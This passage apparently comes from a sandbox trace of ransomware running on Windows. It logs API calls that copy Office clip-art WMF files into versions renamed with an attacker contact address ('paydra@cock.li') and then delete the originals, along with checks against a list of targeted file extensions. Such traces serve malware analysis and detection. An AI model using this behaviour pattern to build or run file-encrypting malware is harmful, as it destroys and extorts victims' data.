lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.361] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.362] SetEndOfFile (hFile=0x198) returned 1 [0053.938] CloseHandle (hObject=0x198) returned 1 [0054.102] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.102] SetEndOfFile (hFile=0x1b8) returned 1 [0054.122] CloseHandle (hObject=0x1b8) returned 1 [0054.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0054.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.123] lstrlenW (lpString=".doc") returned 4 [0054.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.123] lstrlenW (lpString=".docx") returned 5 [0054.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.123] lstrlenW (lpString=".pdf") returned 4 [0054.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.123] lstrlenW (lpString=".xls") returned 4 [0054.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.123] lstrlenW (lpString=".xlsx") returned 5 [0054.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.124] lstrlenW (lpString=".ppt") returned 4 [0054.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.124] lstrlenW (lpString=".zip") returned 4 [0054.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.124] lstrlenW (lpString=".rar") returned 4 [0054.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.124] lstrlenW (lpString=".bz2") returned 4 [0054.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.124] lstrlenW (lpString=".7z") returned 3 [0054.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.124] lstrlenW (lpString=".dbf") returned 4 [0054.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.124] lstrlenW (lpString=".1cd") returned 4 [0054.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.124] lstrlenW (lpString=".jpg") returned 4 [0054.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.460] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8070) returned 1 [0055.460] CloseHandle (hObject=0x20c) returned 1 [0055.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0055.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0055.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0055.593] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.593] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.113] GetLastError () returned 0x0 [0056.113] ReadFile (in: hFile=0x20c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0056.115] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0056.116] ReadFile (in: hFile=0x20c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.116] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.116] SetEndOfFile (hFile=0x190) returned 1 [0056.117] CloseHandle (hObject=0x190) returned 1 [0056.117] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.117] SetEndOfFile (hFile=0x20c) returned 1 [0056.118] CloseHandle (hObject=0x20c) returned 1 [0056.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0056.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0056.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.465] lstrlenW (lpString=".doc") returned 4 [0056.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.465] lstrlenW (lpString=".docx") returned 5 [0056.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.465] lstrlenW (lpString=".pdf") returned 4 [0056.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.465] lstrlenW (lpString=".xls") returned 4 [0056.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.465] lstrlenW (lpString=".xlsx") returned 5 [0056.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.465] lstrlenW (lpString=".ppt") returned 4 [0056.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.465] lstrlenW (lpString=".zip") returned 4 [0056.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.465] lstrlenW (lpString=".rar") returned 4 [0056.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.465] lstrlenW (lpString=".bz2") returned 4 [0056.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.466] lstrlenW (lpString=".7z") returned 3 [0056.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.466] lstrlenW (lpString=".dbf") returned 4 [0056.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.466] lstrlenW (lpString=".1cd") returned 4 [0056.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.466] lstrlenW (lpString=".jpg") returned 4 [0056.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.312] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.312] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0057.313] GetLastError () returned 0x0 [0057.313] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x600, lpOverlapped=0x0) returned 1 [0057.390] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x610, lpOverlapped=0x0) returned 1 [0057.390] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.390] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.391] SetEndOfFile (hFile=0x198) returned 1 [0057.567] CloseHandle (hObject=0x198) returned 1 [0057.568] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.568] SetEndOfFile (hFile=0x204) returned 1 [0057.568] CloseHandle (hObject=0x204) returned 1 [0057.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0057.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0057.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0057.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0057.569] lstrlenW (lpString=".doc") returned 4 [0057.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.569] lstrlenW (lpString=".docx") returned 5 [0057.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.569] lstrlenW (lpString=".pdf") returned 4 [0057.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.569] lstrlenW (lpString=".xls") returned 4 [0057.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.569] lstrlenW (lpString=".xlsx") returned 5 [0057.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.569] lstrlenW (lpString=".ppt") returned 4 [0057.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0057.569] lstrlenW (lpString=".zip") returned 4 [0057.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.569] lstrlenW (lpString=".rar") returned 4 [0057.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.569] lstrlenW (lpString=".bz2") returned 4 [0057.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.570] lstrlenW (lpString=".7z") returned 3 [0057.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0057.570] lstrlenW (lpString=".dbf") returned 4 [0057.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0057.570] lstrlenW (lpString=".1cd") returned 4 [0057.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0057.570] lstrlenW (lpString=".jpg") returned 4 [0057.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.642] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2556) returned 1 [0059.642] CloseHandle (hObject=0x228) returned 1 [0059.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0059.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.108] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.108] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0060.410] GetLastError () returned 0x0 [0060.410] ReadFile (in: hFile=0x224, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0060.650] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0060.651] ReadFile (in: hFile=0x224, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.651] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.651] SetEndOfFile (hFile=0x190) returned 1 [0060.651] CloseHandle (hObject=0x190) returned 1 [0060.652] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.652] SetEndOfFile (hFile=0x224) returned 1 [0060.652] CloseHandle (hObject=0x224) returned 1 [0060.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0060.653] lstrlenW (lpString=".doc") returned 4 [0060.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.653] lstrlenW (lpString=".docx") returned 5 [0060.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.653] lstrlenW (lpString=".pdf") returned 4 [0060.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.653] lstrlenW (lpString=".xls") returned 4 [0060.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.653] lstrlenW (lpString=".xlsx") returned 5 [0060.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.653] lstrlenW (lpString=".ppt") returned 4 [0060.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0060.653] lstrlenW (lpString=".zip") returned 4 [0060.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.653] lstrlenW (lpString=".rar") returned 4 [0060.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.653] lstrlenW (lpString=".bz2") returned 4 [0060.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.653] lstrlenW (lpString=".7z") returned 3 [0060.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0060.654] lstrlenW (lpString=".dbf") returned 4 [0060.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0060.654] lstrlenW (lpString=".1cd") returned 4 [0060.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0060.654] lstrlenW (lpString=".jpg") returned 4 [0060.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.696] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.696] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.697] GetLastError () returned 0x0 [0060.697] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0060.702] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0060.703] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.703] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.703] SetEndOfFile (hFile=0x214) returned 1 [0060.704] CloseHandle (hObject=0x214) returned 1 [0060.704] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.704] SetEndOfFile (hFile=0x198) returned 1 [0060.704] CloseHandle (hObject=0x198) returned 1 [0060.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0060.705] lstrlenW (lpString=".doc") returned 4 [0060.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.705] lstrlenW (lpString=".docx") returned 5 [0060.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.705] lstrlenW (lpString=".pdf") returned 4 [0060.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.705] lstrlenW (lpString=".xls") returned 4 [0060.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.705] lstrlenW (lpString=".xlsx") returned 5 [0060.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.706] lstrlenW (lpString=".ppt") returned 4 [0060.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0060.706] lstrlenW (lpString=".zip") returned 4 [0060.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.706] lstrlenW (lpString=".rar") returned 4 [0060.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.706] lstrlenW (lpString=".bz2") returned 4 [0060.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.706] lstrlenW (lpString=".7z") returned 3 [0060.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0060.706] lstrlenW (lpString=".dbf") returned 4 [0060.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0060.706] lstrlenW (lpString=".1cd") returned 4 [0060.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0060.706] lstrlenW (lpString=".jpg") returned 4 [0060.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.706] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5580) returned 1 [0060.706] CloseHandle (hObject=0x198) returned 1 [0060.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0060.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.707] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.707] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.707] GetLastError () returned 0x0 [0060.707] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: 